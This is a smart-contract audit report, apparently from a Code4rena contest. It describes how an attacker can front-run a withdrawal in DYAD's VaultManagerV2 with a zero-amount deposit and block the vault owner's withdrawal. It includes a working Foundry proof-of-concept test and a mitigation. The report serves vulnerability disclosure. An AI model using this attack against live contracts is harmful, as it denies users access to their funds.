c4-bot-8 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L127

Vulnerability details

Summary

The identified vulnerability in the VaultManagerV2::withdraw function allows for a denial-of-service (DoS) attack on the owner due to the ability of a malicious user to front-run the owner's withdrawal transaction. This attack leverages the restriction that deposit and withdraw operations cannot occur in the same block, causing the owner's withdrawal transaction to revert and effectively denying access to their funds.

Vulnerability Details

The vulnerability stems from the following key aspects of the withdraw function:

The function checks if the idToBlockOfLastDeposit[id] is equal to the current block number (block.number).
If this condition is true (indicating that a deposit occurred in the same block), the function reverts with a DepositedInSameBlock error. This check prevents immediate withdrawals following a deposit in the same block. This is generally done to prevent flash loan attacks. However, a malicious user can exploit this behavior:
By monitoring the blockchain for the owner's withdraw transaction, the malicious user can front-run that transaction and do a deposit of 0 amount within the same block.
If the malicious user successfully executes their deposit transaction first, it will cause the owner's withdrawal attempt to revert due to the block restriction check. This sequence of events results in a denial-of-service (DoS) attack, where the owner is unable to withdraw their funds as intended.

Proof of Concept

To run add the test and run: forge test --fork-url <your mainnet rpc> --match-test testUserDoSWithdraw -vvv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DeployV2} from "../script/deploy/Deploy.V2.s.sol";
import {Contracts} from "../script/deploy/Deploy.V2.s.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {Vault} from "../src/core/Vault.sol";
import {VaultWstEth} from "../src/core/Vault.wsteth.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault} from "../src/core/Vault.kerosine.bounded.sol";
import {Kerosine} from "../src/staking/Kerosine.sol";
import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

interface IWETH {
    function deposit() external payable;
    function withdraw(uint) external;
    function approve(address, uint256) external returns (bool);
}

contract VaultManagerV2Test is Test, Parameters {
    Kerosine kerosene;
    Licenser vaultLicenser;
    VaultManagerV2 vaultManager;
    Vault ethVault;
    VaultWstEth wstEth;
    KerosineManager kerosineManager;
    UnboundedKerosineVault unboundedKerosineVault;
    BoundedKerosineVault boundedKerosineVault;
    KerosineDenominator kerosineDenominator;

    IWETH wETH;

    address user = makeAddr("userrrr");
    uint256 userNFTId;

    function setUp() public {
        DeployV2 deployV2 = new DeployV2();
        Contracts memory deployedContracts = deployV2.run();

        kerosene = deployedContracts.kerosene;
        vaultLicenser = deployedContracts.vaultLicenser;
        vaultManager = deployedContracts.vaultManager;
        ethVault = deployedContracts.ethVault;
        wstEth = deployedContracts.wstEth;
        kerosineManager = deployedContracts.kerosineManager;
        unboundedKerosineVault = deployedContracts.unboundedKerosineVault;
        boundedKerosineVault = deployedContracts.boundedKerosineVault;
        kerosineDenominator = deployedContracts.kerosineDenominator;

        wETH = IWETH(MAINNET_WETH);

        vm.deal(user, 1000 ether);
        vm.prank(user);
        wETH.deposit{value: 100 ether}();

        vm.prank(MAINNET_OWNER);
        kerosene.transfer(user, 10_000 ether);

        DNft dNFT = DNft(MAINNET_DNFT);

        vm.prank(user);
        userNFTId = dNFT.mintNft{value: 100 ether}(user);
    }

    function testUserDoSWithdraw() public {
        address randomUser = makeAddr("randomUser");

        vm.startPrank(user);
        vaultManager.add(userNFTId, address(ethVault));
        wETH.approve(address(vaultManager), 10 ether);
        vaultManager.deposit(userNFTId, address(ethVault), 10 ether);
        vm.roll(block.number + 1);
        vm.stopPrank();

        // A malicious user front runs the owner's withdraw
        vm.prank(randomUser);
        vaultManager.deposit(userNFTId, address(ethVault), 0);

        // The owner tries to withdraw but cannot in the same block because he is fron ran
        vm.prank(user);
        vaultManager.withdraw(
            userNFTId,
            address(unboundedKerosineVault),
            10 ether,
            user
        );

    }
}

We can see how by successfully front-running the owner's withdraw transaction the user DoSes the owner.

Impact

This attack disrupts the intended functionality of the withdrawal process and denies the owner access to their assets.

Tools Used

Manual Review

Recommended Mitigation Steps

One way to mitigate this and still leave the flash loan protection is to allow only the owner of the NFT to deposit into his vaults. This way a random user cannot perform this attack.

Assessed type

DoS

c4-pre-sort commented 4 months ago

JustDravee marked the issue as high quality report

c4-pre-sort commented 4 months ago

JustDravee marked the issue as primary issue

c4-pre-sort commented 4 months ago

JustDravee marked the issue as duplicate of #489